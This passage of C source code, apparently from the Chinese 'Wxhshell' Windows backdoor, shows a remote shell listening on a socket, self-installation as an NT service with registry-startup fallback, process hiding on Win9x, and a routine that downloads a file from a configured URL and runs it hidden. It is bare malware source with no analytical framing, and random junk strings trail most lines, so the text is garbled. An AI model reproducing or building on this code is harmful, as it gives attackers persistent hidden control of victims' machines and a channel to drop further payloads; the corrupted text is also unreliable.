ULONG InheritedFromUniqueProcessId; _O)xE9t#ru
} PROCESS_BASIC_INFORMATION; /!;oO_U:#
1>P[3Y@}
PROCNTQSIP NtQueryInformationProcess; +aaj3m
73B,I 0U
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "V-k_d "
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >nV~5f+
A^:[+PJHN
HANDLE hProcess; E^w2IIw
PROCESS_BASIC_INFORMATION pbi; ifj%!*
0"7%*n."2
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I|69|^
if(NULL == hInst ) return 0; D/)wg$MI
l+!!S"=8)~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KBJw7rra
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pSp/Qpb-B
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DhZuQpH
VZo[\sWf
if (!NtQueryInformationProcess) return 0; P8!ON=
Ix@rn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /5Aum?~
if(!hProcess) return 0; eygmh aE
+\g/KbV7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X{4jyi-<
/a.4atb0
CloseHandle(hProcess); 2Ya)I k{
aX`"V/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +v.uP [H
if(hProcess==NULL) return 0; {<&i4;
@_s`@,=
HMODULE hMod; Ie{98
char procName[255]; Qt` hUyL
unsigned long cbNeeded; #HFB*>
]&6# {I-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HS> (y2}'
!/]F.0
CloseHandle(hProcess); >qj.!npQD
K~'!JP8@
if(strstr(procName,"services")) return 1; // 以服务启动 x|4m*>Ke
0_'(w;!wq:
return 0; // 注册表启动 `roos<F1D
} <
kyT{[e+6
Zjqa n
// 主模块 )!6JSMS
int StartWxhshell(LPSTR lpCmdLine) <T]%Gg8
{ },58B
SOCKET wsl; Zjis0a]v~k
BOOL val=TRUE; (:9yeP1
int port=0; k(LZ,WSR
struct sockaddr_in door; I5]=\k($
1o"/5T:S[
if(wscfg.ws_autoins) Install(); |vW(;j6
.{+KKa $@G
port=atoi(lpCmdLine); ]0v;;PfVl6
BS3Aczwk
if(port<=0) port=wscfg.ws_port; 3m3ljy
mGx!{v~i&
WSADATA data; \7b-w81M-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DUH\/<^g
ZK:dhwer
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; W0e+yIaR
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $VEG1]/svp
door.sin_family = AF_INET; _|<kKfd?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); l-s%3E3
door.sin_port = htons(port); PPoQNW
k=;>*:D%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;:<z hO
closesocket(wsl); |;xm-AM4r
return 1; A/5??3H
} ZEY="pf
TljN!nv]
if(listen(wsl,2) == INVALID_SOCKET) { *u
L Ooq
closesocket(wsl); k(hYNmmo
j
return 1; YywiY).]@
} WM y97*L<
Wxhshell(wsl); +*u'vt?
WSACleanup(); 590.mCm
3OnIAk3
return 0; <JtH/oN
OAigq6[,
} Zop3[-
x)evjX=q
// 以NT服务方式启动 A8,9^cQ]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M)v\7a
{ ++ O
L&n
DWORD status = 0; OJ#ehw <
DWORD specificError = 0xfffffff; j,<3[
W,sU5sjA
serviceStatus.dwServiceType = SERVICE_WIN32; D5]AL5=Xt2
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -64@}Ts*?
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /<[S> ;!kr
serviceStatus.dwWin32ExitCode = 0; &6]+a4
serviceStatus.dwServiceSpecificExitCode = 0; ~K'e}<-G
serviceStatus.dwCheckPoint = 0; feJzX*u
serviceStatus.dwWaitHint = 0; 9Z?P/
o
M:t!g%
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l^`& Tnzv
if (hServiceStatusHandle==0) return; `Fn"%P!
05sWN 0
status = GetLastError(); Z_b^K^4
if (status!=NO_ERROR) y{&k`H
{ :~uvxiF
serviceStatus.dwCurrentState = SERVICE_STOPPED; Yz<,`w5/6~
serviceStatus.dwCheckPoint = 0; V+\L@mz;
serviceStatus.dwWaitHint = 0; nP]tc
serviceStatus.dwWin32ExitCode = status; Q?"o.T';
serviceStatus.dwServiceSpecificExitCode = specificError; IZ){xI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 99QMMup
return; :TU|;(p
} #+VH]7]
yf|,/{S
serviceStatus.dwCurrentState = SERVICE_RUNNING; !Cqm=q{K
serviceStatus.dwCheckPoint = 0; Wp2W:JX:
serviceStatus.dwWaitHint = 0; @|I:A
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R$>]7-N}
} K6uZ4 m;
0[A4k:
// 处理NT服务事件,比如:启动、停止 {;:QY1QT
VOID WINAPI NTServiceHandler(DWORD fdwControl) 48}L!m @
{ cb36 ~{
switch(fdwControl) P:~Xaz\F
{ XOOWrK7O
case SERVICE_CONTROL_STOP: NxOiT#YH
serviceStatus.dwWin32ExitCode = 0; euxkw]`h6
serviceStatus.dwCurrentState = SERVICE_STOPPED; J#k3iE}
serviceStatus.dwCheckPoint = 0; '(ZJsw
serviceStatus.dwWaitHint = 0; ]V*ku%L0
{ 6snDv4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0^%\! Xxq
} 3K{XT),
return; ';H"Ye:D=7
case SERVICE_CONTROL_PAUSE: O
&/9wi>!q
serviceStatus.dwCurrentState = SERVICE_PAUSED; r'TxYM-R
break; [_$r- FA
case SERVICE_CONTROL_CONTINUE: :eK(9o
serviceStatus.dwCurrentState = SERVICE_RUNNING; Vgh;w-a
break; Z)JJ-V!
case SERVICE_CONTROL_INTERROGATE: |AosZeO_
break; ~Onj|w7
}; N3M:|D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cx
N]fo
} C(w?`]Qs
R,3E_me"}
// 标准应用程序主函数 d3nx"=Cy0I
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t=-t xnlr<
{ nqp:nw
cImOZx
// 获取操作系统版本 jCJbmEfo9@
OsIsNt=GetOsVer(); 3Jt7IM!9[
GetModuleFileName(NULL,ExeFile,MAX_PATH); B~%'YQk
FWi c/7
// 从命令行安装 g&79?h4UXQ
if(strpbrk(lpCmdLine,"iI")) Install(); q5Bj0r[/o
,5Vc
// 下载执行文件 \IL;}D{
if(wscfg.ws_downexe) { fPW|)e"
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ujlIWQU2mo
WinExec(wscfg.ws_filenam,SW_HIDE); '7'*+sgi$
} Mx-? &
fG *1A\t]
if(!OsIsNt) { P4\{be>e
// 如果时win9x,隐藏进程并且设置为注册表启动 Ou26QoT9XI
HideProc(); Gky
e
StartWxhshell(lpCmdLine); sl5y1W/]]
} -K"" 4SC2
else y_s^dQe
if(StartFromService()) <N4)X"s
// 以服务方式启动 *\-R&